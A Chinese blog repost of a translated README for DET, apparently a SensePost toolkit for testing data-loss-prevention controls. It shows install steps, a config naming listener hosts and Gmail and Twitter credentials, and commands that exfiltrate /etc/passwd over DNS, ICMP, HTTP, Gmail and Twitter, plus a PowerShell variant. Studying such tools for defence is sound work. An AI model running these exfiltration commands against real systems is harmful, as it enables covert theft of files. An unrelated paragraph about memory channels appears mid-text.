我是靠谱客的博主 无私石头,最近开发中收集的这篇文章主要介绍黑客工具之DET——可扩展的数据渗出工具包,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

建议挂上vpn浏览学习哦

黑客工具之DET——可扩展的数据渗出工具包


DET是一个概念界定,描述能同时使用单独或多个通道执行数据渗透。

发明此概念的主要目的,就是确定可能的 DLP故障。它永远不应该用来评估敏感数据。

为了创建一个可以插入到任何协议/服务中的通用的具包,从而实施网络监测和数据泄漏预防(DLP)的配置方案,应对不同的数据溢出技术。

(tips:混合双通道是双通道内存中更为高端的一种形式,也是为了保护用户投资而产生的一种内存双通道模式。它通过主板和CPU共同技术支持,可以让CPU同时和不同型号的内存对接,甚至让CPU支持容量不同的两根内存条。)

 

1.幻灯片

卢布尔雅那大学在今年3月展示了详细的DET幻灯片,幻灯片在此:

https://docs.google.com/presentation/d/11uk6d-xougn3jU1wu4XRM3ZGzitobScSSMUlx0MRTzg/edit#slide=id.p

 

2.使用示例

ICMP插件:

服务器端:

 黑客工具之DET——可扩展的数据渗出工具包

黑客工具之DET——可扩展的数据渗出工具包

客户端:

 黑客工具之DET——可扩展的数据渗出工具包

黑客工具之DET——可扩展的数据渗出工具包

混合双通道(Gmail、Twitter)

服务器端:

 黑客工具之DET——可扩展的数据渗出工具包

黑客工具之DET——可扩展的数据渗出工具包

客户端:

黑客工具之DET——可扩展的数据渗出工具包

黑客工具之DET——可扩展的数据渗出工具包

3.安装

git clone https://github.com/sensepost/DET.git
pip install -r requirements.txt --user

4.配置

为了使用DET,需要配置它并添加适当的参数(如SMTP/IMAP,AES256加密密码等)。此处的配置文件名为:config-sample.json

{
    "plugins": {
        "http": {
            "target": "192.168.1.101",
            "port": 8080
        },
        "google_docs": {
            "target": "192.168.1.101",
            "port": 8080,
        },
        "dns": {
            "key": "google.com",
            "target": "192.168.1.101",
            "port": 53
        },
        "gmail": {
            "username": "dataexfil@gmail.com",
            "password": "ReallyStrongPassword",
            "server": "smtp.gmail.com",
            "port": 587
        },
        "tcp": {
            "target": "192.168.1.101",
            "port": 6969
        },
        "udp": {
            "target": "192.168.1.101",
            "port": 6969
        },
        "twitter": {
            "username": "PaulWebSec",
            "CONSUMER_TOKEN": "XXXXXXXXX",
            "CONSUMER_SECRET": "XXXXXXXXX",
            "ACCESS_TOKEN": "XXXXXXXXX",
            "ACCESS_TOKEN_SECRET": "XXXXXXXXX"
        },
        "icmp": {
            "target": "192.168.1.101"
        }
    },
    "AES_KEY": "THISISACRAZYKEY",
    "sleep_time": 10
}


5.使用

使用帮助

python det.py -h
usage: det.py [-h] [-c CONFIG] [-f FILE] [-d FOLDER] [-p PLUGIN] [-e EXCLUDE]
              [-L]
 
Data Exfiltration Toolkit (SensePost)
 
optional arguments:
  -h, --help  show this help message and exit
  -c CONFIG   Configuration file (eg. '-c ./config-sample.json')
  -f FILE     File to exfiltrate (eg. '-f /etc/passwd')
  -d FOLDER   Folder to exfiltrate (eg. '-d /etc/')
  -p PLUGIN   Plugins to use (eg. '-p dns,twitter')
  -e EXCLUDE  Plugins to exclude (eg. '-e gmail,icmp')
  -L          Server mode


服务器端:

加载每一个插件:

python det.py -L -c ./config.json

只加载Twitter和Gmail模块:

python det.py -L -c ./config.json -p twitter,gmail


加载每一个插件并排除DNS:

python det.py -L -c ./config.json -e dns


客户端:

加载每一个插件:

python det.py -c ./config.json -f /etc/passwd


只加载Twitter和Gmail模块:

python det.py -c ./config.json -p twitter,gmail -f /etc/passwd


加载每一个插件并排除DNS:

python det.py -c ./config.json -e dns -f /etc/passwd


在PowerShell(HTTP模块下)

PS C:Usersuser01Desktop>
PS C:Usersuser01Desktop> . .http_exfil.ps1
PS C:Usersuser01Desktop> HTTP-exfil 'C:pathtofile.exe'


6. 适用模块

目前来讲, DET支持多种协议:

HTTPS  ICMP       DNS        SMTP/IMAP(eg.Gmail) Raw TCP  PowerShell的变形 (HTTP, DNS, ICMP, SMTP)

其他的“服务”:

Google Docs (未认证的)   Twitter (直接信息)

实验模块

到目前为止,正忙着实现的新模块,包括:

Skype (95% )   Tor (80%)     Github (30/40% )

 

 



本文由漏洞银行(BUGBANK.cn)小编  柠檬 翻译,源文译自 github.com



作者:柠檬
链接:http://www.bugbank.cn/news/detail/57e2312bbe4ed604719841c7.html
来源:漏洞银行
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

最后

以上就是无私石头为你收集整理的黑客工具之DET——可扩展的数据渗出工具包的全部内容,希望文章能够帮你解决黑客工具之DET——可扩展的数据渗出工具包所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(39)

评论列表共有 0 条评论

立即
投稿
返回
顶部